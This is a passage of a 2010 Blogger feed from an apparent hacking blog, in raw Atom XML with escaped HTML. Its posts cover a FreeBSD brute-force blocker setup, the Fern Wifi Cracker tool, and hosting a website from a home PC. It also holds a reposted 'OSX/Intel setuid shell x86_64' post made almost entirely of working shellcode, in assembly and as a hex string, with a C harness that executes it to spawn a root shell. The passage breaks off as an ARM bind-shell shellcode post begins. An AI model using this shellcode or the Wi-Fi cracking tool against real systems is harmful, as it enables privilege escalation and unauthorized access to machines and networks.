src="http://s1.wp.com/wp-includes/images/smilies/icon_razz.gif?m=1129645325g" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; cursor: url(http://forum.tecon-crew.org/highslide/graphics/zoomin.cur), pointer !important; max-width: 800px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bruteblock membuat sistem administrator untuk ngebloking serangan bruteforce yang mengarah ke service UNIX .&lt;br /&gt;&lt;br /&gt;How this tools work ?&lt;br /&gt;&lt;br /&gt;Dengan menganalisa sistem log kemudian menambahkan alamat IP penyerang ke ipfw2 tabel, tool ini dapat memblokir brute attacker.&lt;br /&gt;&lt;br /&gt;Kemudian alamat IP secara otomatis akan didelete dari tabel tadi setelah kurun waktu tertentu yang udah ditetapin. Bruteblock juga memakai ekspresi reguler untuk parse log, yang memberikan fleksibilitas dalam mengoperasikannya. Sehingga tool ini bisa digunakan untuk hampir semua service jaringan.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;How to install ? Just simple…follow this step&lt;/b&gt;&lt;br /&gt;1. install melalui port :&lt;br /&gt;&lt;span style="color: blue;"&gt;#cd /usr/ports/security/bruteblock&lt;br /&gt;#make install clean&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;2. Tambahkan baris berikut di /etc/rc.conf agar bruteblock bisa langsung running sewaktu boot&lt;br /&gt;&lt;span style="color: blue;"&gt;bruteblockd_enable=”YES”&lt;br /&gt;bruteblockd_table=”1″&lt;/span&gt;&lt;br /&gt;bruteblockd_flags=”-s 5″&lt;br /&gt;&lt;br /&gt;3. Edit file&amp;nbsp;&lt;b&gt;/etc/syslog.conf&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Ubah baris berikut :&lt;/b&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;auth.info;authpriv.info /var/log/auth.log&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;menjadi&lt;br /&gt;&lt;/b&gt;&lt;span style="color: blue;"&gt;auth.info;authpriv.info |exec /usr/local/sbin/bruteblock -f /usr/local/etc/bruteblock/ssh.conf&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Restart Syslogd&lt;br /&gt;&lt;span style="color: blue;"&gt;#/etc/rc.d/syslogd restart&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;5. start aplikasi bruteblock dengan command :&lt;br /&gt;&lt;span style="color: blue;"&gt;#/usr/local/etc/rc.d/bruteblockd.sh start&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;6. Tambain setting di ipfw untuk memblock IP-IP yang di masukkan oleh bruteblock&lt;br /&gt;&lt;span style="color: blue;"&gt;#ipfw add 400 deny ip from me to table\(1\)&lt;br /&gt;#ipfw add 410 deny ip from table\(1\) to me&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;7. kalo ente mau ngerubah setting bruteblock untuk setiap service yang dilindungi, misal gw kepengen ngubah setting untuk ssh di file&amp;nbsp;&lt;b&gt;/usr/local/etc/bruteblock/ssh.conf&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;perhatikan beberapa point – point di bawah ini&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;regexp = sshd.*Illegal user \S+ from (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})&lt;br /&gt;regexp1 = sshd.*Failed password for (?:illegal user )?\S+ from (\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})&lt;/span&gt;&lt;br /&gt;# Number of failed login attempts within time before we block&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;max_count = 4&lt;/span&gt;&lt;br /&gt;# Time in seconds in which all failed login attempts must occur&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;within_time = 60&lt;/span&gt;&lt;br /&gt;# Time in seconds to block ip in firewall&lt;br /&gt;# 10 minutes&lt;br /&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;reset_ip = 600&lt;/span&gt;# IPFW table number to add “bad” hosts&lt;br /&gt;&lt;span style="color: blue;"&gt;&lt;br /&gt;ipfw2_table_no = 1&lt;br /&gt;&lt;/span&gt;lo bisa aja menerapkan untuk service yang lain , contohnya&amp;nbsp;&lt;i&gt;ftp&lt;/i&gt;. kita hanya perlu mengubah di bagian&lt;i&gt;regexp.&lt;/i&gt;tinggal di disesuaikan aja dengan format log servicenya.&lt;br /&gt;gampang kan ?…&lt;br /&gt;di tunggu commentnya di mari ..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;DOWNLOAD&lt;br /&gt;&lt;a href="http://forum.tecon-crew.org/redirector.php?url=http%3A%2F%2Fzeestuff.wordpress.com%2F2010%2F11%2F06%2Ftangkis-serangan-bruteforce-pada-freebsd-unix%2F%23more-74" style="color: #38659d; text-decoration: none;" target="_blank"&gt;http://zeestuff.wordpress.com/2010/11/06/tangkis-serangan-bruteforce-pada-freebsd-unix/#more-74&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source : tecon-crew&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;ul class="entrycontrols" style="clear: both; font-size: 11px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: right;"&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-4254354207541623091?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/4254354207541623091/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/tangkis-serangan-brute-force-di-freebsd.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/4254354207541623091'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/4254354207541623091'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/tangkis-serangan-brute-force-di-freebsd.html' title='Tangkis serangan brute force di freebsd ( UNIX )'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-5050287429265776045</id><published>2010-12-25T17:00:00.000+07:00</published><updated>2010-12-25T17:00:19.172+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/software'/><title type='text'>Crack Wifi</title><content type='html'>&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 2px; -webkit-border-vertical-spacing: 2px; font-family: arial, sans-serif; font-size: 13px;"&gt;&lt;/span&gt;&lt;br /&gt;Wireless security auditing application&lt;br /&gt;This is a wireless security auditing application that is written in python and uses python-qt4. This application uses the aircrack-ng suite of tools.&lt;br /&gt;It should work on any version of linux running the following:&lt;br /&gt;&lt;i&gt;&lt;strong&gt;Requirements:&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;python&lt;br /&gt;python-qt4&lt;br /&gt;macchanger&lt;br /&gt;aircrack-ng&lt;br /&gt;xterm&lt;br /&gt;&lt;strong&gt;For Slax Distributions, download the zipped module package on the download section, and follow the instructions in the "README" file.&lt;/strong&gt;&lt;br /&gt;To install simply run the following command in terminal after changing directory to the path were the downloaded package is:&lt;br /&gt;dpkg -i Fern-Wifi-Cracker_1.1_all.deb&lt;br /&gt;Software Icon can be found at the application Menu of the GNOME desktop interfaces&lt;br /&gt;Icon can also be found at /usr/share/applications for KDE and also GNOME:&lt;br /&gt;There you find "Fern_Wifi_Cracker.desktop"&lt;br /&gt;&lt;i&gt;&lt;strong&gt;Images:&lt;/strong&gt;&lt;/i&gt;&lt;br /&gt;Click the refresh button to display monitor interfaces:&lt;br /&gt;&lt;img src="http://img230.imageshack.us/img230/2190/44974794.png" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px;" /&gt;&lt;br /&gt;&lt;img src="http://img703.imageshack.us/img703/1816/25095297.png" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px;" /&gt;&lt;br /&gt;&lt;img src="http://img811.imageshack.us/img811/7016/29973113.png" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px;" /&gt;&lt;br /&gt;Decrypted keys are automatically added to the database after a successful attack.. but you could also add the keys manually&lt;br /&gt;The database file could be found at /usr/local/bin/Fern-Wifi-Cracker/key-Database/Database.db&lt;br /&gt;&lt;img src="http://img840.imageshack.us/img840/4122/76060507.png" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px;" /&gt;&lt;br /&gt;&lt;img src="http://img148.imageshack.us/img148/227/28477582.png" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px;" /&gt;&lt;br /&gt;&lt;b&gt;NOTE&lt;/b&gt;: Its normal for your VGA screen to adjust and return while application is initializing.. this is because the software has to adjust to a suitable resolution before running... If not the text on the application overlaps or certain text becomes invisible&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-5050287429265776045?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/5050287429265776045/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/crack-wifi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/5050287429265776045'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/5050287429265776045'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/crack-wifi.html' title='Crack Wifi'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-2563397027336611380</id><published>2010-12-25T15:27:00.000+07:00</published><updated>2010-12-25T15:27:33.415+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/cracking'/><title type='text'>Hosting A website from you Home PC which can be accessed from anywhere worldwide</title><content type='html'>&lt;span class="Apple-style-span" style="-webkit-border-horizontal-spacing: 1px; -webkit-border-vertical-spacing: 1px; color: lime; font-family: 'Courier New', Courier, monospace; font-size: 13px;"&gt;everyone..welcome back with me...marvellous a.k.a Liyan oz&lt;br /&gt;&lt;br /&gt;Probably some may be already knowing this ,but many dont... so this tutorial is for the second lot of the people ie for those who don't know how to use their own personal desktop machine to host an website which can be accessed from anywhere round the world.&lt;br /&gt;&lt;br /&gt;Been using it since around a month now and thought y not share it over here ;) ..&lt;br /&gt;&lt;br /&gt;I learnt this method from a friend who has nothing to do with HF and have made the complete tutorials myself which took me hell lot of a time.. and so no part of this tutorial has been leeched from anyone and noone can say thats its theirs just because they use this method themself ... .. cos 10000 of people round the globe are using it. Am just trying to help the newbies and if i make any kind of error dont flame me&lt;br /&gt;&lt;br /&gt;Requirements:&lt;br /&gt;To start off u'll just require a PC with windows loaded in it. Pretty much works on all windows version :) ..&lt;br /&gt;Nothing more would be required :D&lt;br /&gt;&lt;br /&gt;Step 1 :&lt;br /&gt;&lt;br /&gt;Goto DynDNS. Click on Sign In.&lt;br /&gt;It should look something like this:&lt;br /&gt;&lt;a href="http://img203.imageshack.us/img203/1637/89403494.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img203.imageshack.us/img203/1637/89403494.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 2 :&lt;br /&gt;&lt;br /&gt;Then Click on Create an Account. You should be redirected to the registration page which looks like this:&lt;br /&gt;&lt;a href="http://img263.imageshack.us/img263/572/18892149.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img263.imageshack.us/img263/572/18892149.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fill in all the necessary details as required.After filling the page would look somethin like this:&lt;br /&gt;&lt;a href="http://img135.imageshack.us/img135/5926/46115337.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img135.imageshack.us/img135/5926/46115337.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Then click on Create Account and you should be redirected to page showing that account is created which looks like this :&lt;br /&gt;&lt;a href="http://img41.imageshack.us/img41/7326/92990336.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img41.imageshack.us/img41/7326/92990336.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 3 :&lt;br /&gt;&lt;br /&gt;Goto the email id which you provided during the registration. In my case the email went to the spam box .&lt;br /&gt;Open the email and goto the mail from dyndns.&lt;br /&gt;It looks something like this&lt;br /&gt;&lt;a href="http://img8.imageshack.us/img8/3893/66820418.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img8.imageshack.us/img8/3893/66820418.png&lt;/a&gt;&lt;br /&gt;Click on the confirmation link. On clicking it you would be redirected to dydns site where it asks for password confirmation. Enter your password which you entered during registration and you will be shown a page that states account activated.&lt;br /&gt;&lt;a href="http://img28.imageshack.us/img28/6110/28900678.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img28.imageshack.us/img28/6110/28900678.png&lt;/a&gt;&lt;br /&gt;&lt;a href="http://img828.imageshack.us/img828/388/97742084.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img828.imageshack.us/img828/388/97742084.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 4 :&lt;br /&gt;&lt;br /&gt;Click on Add Hostname.&lt;br /&gt;This takes you to next page.&lt;br /&gt;Enter any hostname of your choice and enter your current machine's Ip adress in the specified slot.&lt;br /&gt;After filling it should look something like this :&lt;br /&gt;&lt;a href="http://img153.imageshack.us/img153/6231/75921400.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img153.imageshack.us/img153/6231/75921400.png&lt;/a&gt;&lt;br /&gt;Now click on Add to cart at the bottom of the page.&lt;br /&gt;This take you to a page :&amp;nbsp;&lt;a href="http://img135.imageshack.us/img135/2263/63344696.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img135.imageshack.us/img135/2263/63344696.png&lt;/a&gt;&lt;br /&gt;Click Next&lt;br /&gt;It takes you to a price summary page which looks like&lt;br /&gt;&lt;a href="http://img189.imageshack.us/img189/5227/30244360.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img189.imageshack.us/img189/5227/30244360.png&lt;/a&gt;&lt;br /&gt;Click Activate services on the page which take you to this page:&lt;br /&gt;&lt;a href="http://img715.imageshack.us/img715/6793/28850505.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img715.imageshack.us/img715/6793/28850505.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 5 :&lt;br /&gt;&lt;br /&gt;Now click on support on the top of the page and then on update client on the left hand side.&lt;br /&gt;This takes you to this page:&amp;nbsp;&lt;a href="http://img715.imageshack.us/img715/3523/78946032.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img715.imageshack.us/img715/3523/78946032.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now download the DyDNS Updater on to you local machine.&lt;br /&gt;&lt;a href="http://img840.imageshack.us/img840/7889/46189333.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img840.imageshack.us/img840/7889/46189333.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 6 :&lt;br /&gt;&lt;br /&gt;Now time for Installation&lt;br /&gt;When you open the installer file it looks something like this: -------image 16&lt;br /&gt;Go on Clicking Next ...&amp;nbsp;&lt;a href="http://img812.imageshack.us/img812/3707/63194612.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img812.imageshack.us/img812/3707/63194612.png&lt;/a&gt;&lt;br /&gt;When installation ends, you get this:&amp;nbsp;&lt;a href="http://img222.imageshack.us/img222/4535/82718638.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img222.imageshack.us/img222/4535/82718638.png&lt;/a&gt;&lt;br /&gt;Click Finish.&lt;br /&gt;&lt;br /&gt;When it opens, you see this :&amp;nbsp;&lt;a href="http://img263.imageshack.us/img263/5320/18043052.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img263.imageshack.us/img263/5320/18043052.png&lt;/a&gt;&lt;br /&gt;Select the DNS host which we created sometime back and Click Apply and then Click Ok .&lt;br /&gt;&lt;br /&gt;On clicking Ok... you can see this :&amp;nbsp;&lt;a href="http://img401.imageshack.us/img401/2807/54145072.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img401.imageshack.us/img401/2807/54145072.png&lt;/a&gt;&lt;br /&gt;Coool... so ur Ip is in sync with the hostname&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 7 :&lt;br /&gt;&lt;br /&gt;Now my machine does not have Apache server installed.. so i'll goto&amp;nbsp;&lt;a href="http://httpd.apache.org/" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://httpd.apache.org&lt;/a&gt;&lt;br /&gt;The page looks something like this:&amp;nbsp;&lt;a href="http://img256.imageshack.us/img256/6906/18788668.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img256.imageshack.us/img256/6906/18788668.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now click on "from a mirror" link on the left hand side. This takes you to the downloads section which looks like :&lt;br /&gt;&lt;a href="http://img827.imageshack.us/img827/7315/45156565.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img827.imageshack.us/img827/7315/45156565.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Now you can either choose the latest version available or the most stable version thats available in the downloads section.&lt;br /&gt;I'll choose the most stable version ie 2.2.17.&lt;br /&gt;So, click on the Win32 Binary including OpenSSL and download it .&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;Step 8 :&lt;br /&gt;&lt;br /&gt;Then, launch the Apache Installation. The main screen when you open download is as :&amp;nbsp;&lt;a href="http://img222.imageshack.us/img222/547/92653498.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img222.imageshack.us/img222/547/92653498.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;When you click on next you get a screen like :http://img189.imageshack.us/img189/1231/42707644.png which asks you for some details.&lt;br /&gt;&lt;br /&gt;The details have to be filled in the way last tym we had enterd for dyndns. Enter your email id for admin email id.&lt;br /&gt;&lt;br /&gt;The filled details will look like this :&amp;nbsp;&lt;a href="http://img404.imageshack.us/img404/9084/34613609.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img404.imageshack.us/img404/9084/34613609.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Click next . Then you get this screen&amp;nbsp;&lt;a href="http://img148.imageshack.us/img148/3688/76736775.png." style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img148.imageshack.us/img148/3688/76736775.png.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Click Finish.&lt;br /&gt;&lt;br /&gt;At this point i want to say somethin .. your DONEE doing all the required settings. Yipee&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 9 :&lt;br /&gt;&lt;br /&gt;Now, to test whether what all the settings are proper and we can view our local website on the WWW , we open our browser and enter the host adress of the dyndns which we setup earlier.&lt;br /&gt;&lt;br /&gt;Its looks something like this.&lt;br /&gt;&lt;a href="http://img525.imageshack.us/img525/8392/91348770.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img525.imageshack.us/img525/8392/91348770.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And it sayss.... It works !! .... woww....&lt;br /&gt;Means we are done setting up our website using our local PC and this website can be viewed fro any place round the world .&lt;br /&gt;&lt;br /&gt;LolZZ.. and for the others who feel that this is fake and am just viewing it cos its hosted on my local machine and am accessing it by localhost, lets use any online proxy site and visit the link to see if we can view the website.&lt;br /&gt;&lt;br /&gt;I choose our own.. hidemyass.com ... The homepage looks like this :http://img151.imageshack.us/img151/2456/66840544.png&lt;br /&gt;&lt;br /&gt;When i open the pre specified URL in the online proxy , the site is visited via an IP diffrent from ours ie similar to a way a diffrent machine may view the URL .. and what we see is ...&amp;nbsp;&lt;a href="http://img528.imageshack.us/img528/6531/48179935.png" style="color: #00cc00; text-decoration: underline;" target="_blank"&gt;http://img528.imageshack.us/img528/6531/48179935.png&lt;/a&gt;&amp;nbsp;... meanss... OUR HARD WORK PAYED OFF AND OUR WEBSITE IS HOSTED ONLINE AND THAT TOO FREE O COST FOR UNLIMITED PERIOD OF TIME&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;Step 10 :&lt;br /&gt;&lt;br /&gt;To others who are new to this and don't know, where to put the files so at host the website, put your own "index" page and the other files at the location : C:\Program Files\Apache Software Foundation\Apache2.2\htdocs ... just replace the index file and you can view the new site which you will be uploading. The place you upload your new index file and the other files looks like this..&amp;nbsp;&lt;a href="http://img822.imageshack.us/img822/4714/66616122.png" style="color: lime; text-decoration: underline;" target="_blank"&gt;http://img822.imageshack.us/img822/4714/66616122.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&amp;lt;hr&amp;gt;&lt;br /&gt;&lt;br /&gt;It took me lott of time to create this tutorial specially to setup the whole thing again and take screenshots of the whole thing. So, Haters pleaseee :hi:stay off ...&lt;br /&gt;&lt;br /&gt;Hope this tutorial was helpful for u'll ... Kindly comment and let me know whether you like it or not.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-2563397027336611380?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/2563397027336611380/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/hosting-website-from-you-home-pc-which.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2563397027336611380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/2563397027336611380'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/hosting-website-from-you-home-pc-which.html' title='Hosting A website from you Home PC which can be accessed from anywhere worldwide'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-3260115337757202248</id><published>2010-12-21T13:45:00.000+07:00</published><updated>2010-12-21T13:45:09.252+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>OSX/Intel - setuid shell x86_64 - 51 bytes</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;==========================================&lt;br /&gt;OSX/Intel - setuid shell x86_64 - 51 bytes&lt;br /&gt;==========================================&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Title:     OSX/Intel - setuid shell x86_64 - 51 bytes&lt;br /&gt; * Date:      2010-11-25&lt;br /&gt; * Tested on: Mac OS X 10.6.5 - Darwin Kernel Version 10.5.0&lt;br /&gt; * Author:    Dustin Schultz - twitter: @thexploit&lt;br /&gt; *&lt;br /&gt; * http://thexploit.com&lt;br /&gt; *&lt;br /&gt; * BITS 64&lt;br /&gt; *&lt;br /&gt; * section .text&lt;br /&gt; * global start&lt;br /&gt; *&lt;br /&gt; * start:&lt;br /&gt; * a:&lt;br /&gt; *  mov r8b, 0x02          ; Unix class system calls = 2&lt;br /&gt; *  shl r8, 24             ; shift left 24 to the upper order bits&lt;br /&gt; *  or r8, 0x17            ; setuid = 23, or with class = 0x2000017&lt;br /&gt; *  xor edi, edi           ; zero out edi&lt;br /&gt; *  mov rax, r8            ; syscall number in rax&lt;br /&gt; *  syscall                ; invoke kernel&lt;br /&gt; *  jmp short c            ; jump to c&lt;br /&gt; * b:&lt;br /&gt; *  pop rdi                ; pop ret addr which = addr of /bin/sh&lt;br /&gt; *  add r8, 0x24           ; execve = 59, 0x24+r8=0x200003b&lt;br /&gt; *  mov rax, r8            ; syscall number in rax&lt;br /&gt; *  xor rdx, rdx           ; zero out rdx&lt;br /&gt; *  push rdx               ; null terminate rdi, pushed backwards&lt;br /&gt; *  push rdi               ; push rdi = pointer to /bin/sh&lt;br /&gt; *  mov rsi, rsp           ; pointer to null terminated /bin/sh string&lt;br /&gt; *  syscall                ; invoke the kernel&lt;br /&gt; * c:&lt;br /&gt; *  call b                 ; call b, push ret of /bin/sh&lt;br /&gt; *  db '/bin//sh'          ; /bin/sh string&lt;br /&gt;*/&lt;br /&gt; &lt;br /&gt; &lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt; &lt;br /&gt;int (*sc)();&lt;br /&gt; &lt;br /&gt;char shellcode[] =&lt;br /&gt;"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"&lt;br /&gt;"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"&lt;br /&gt;"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"&lt;br /&gt;"\x2f\x73\x68";&lt;br /&gt; &lt;br /&gt;int main(int argc, char **argv) {&lt;br /&gt; &lt;br /&gt;    void *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON&lt;br /&gt;            | MAP_PRIVATE, -1, 0);&lt;br /&gt; &lt;br /&gt;    if (ptr == MAP_FAILED) {&lt;br /&gt;        perror("mmap");&lt;br /&gt;        exit(-1);&lt;br /&gt;    }&lt;br /&gt; &lt;br /&gt;    memcpy(ptr, shellcode, sizeof(shellcode));&lt;br /&gt;    sc = ptr;&lt;br /&gt; &lt;br /&gt;    sc();&lt;br /&gt; &lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# oz&lt;/span&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2685633507834942301-3260115337757202248?l=o2nri2.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://o2nri2.blogspot.com/feeds/3260115337757202248/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://o2nri2.blogspot.com/2010/12/osxintel-setuid-shell-x8664-51-bytes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3260115337757202248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2685633507834942301/posts/default/3260115337757202248'/><link rel='alternate' type='text/html' href='http://o2nri2.blogspot.com/2010/12/osxintel-setuid-shell-x8664-51-bytes.html' title='OSX/Intel - setuid shell x86_64 - 51 bytes'/><author><name>oz family</name><uri>http://www.blogger.com/profile/10490024732383626530</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://1.bp.blogspot.com/_UI6omo9Mars/TU3HieMknVI/AAAAAAAAAIA/FBT8X1CD8QM/s220/2010-12-23-154422.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2685633507834942301.post-2191225219310374684</id><published>2010-12-21T13:43:00.001+07:00</published><updated>2010-12-21T13:43:30.570+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='/exploit'/><title type='text'>linux/ARM - Bind Connect UDP Port 68 Shellcode</title><content type='html'>&lt;pre&gt;&lt;span class="Apple-style-span" 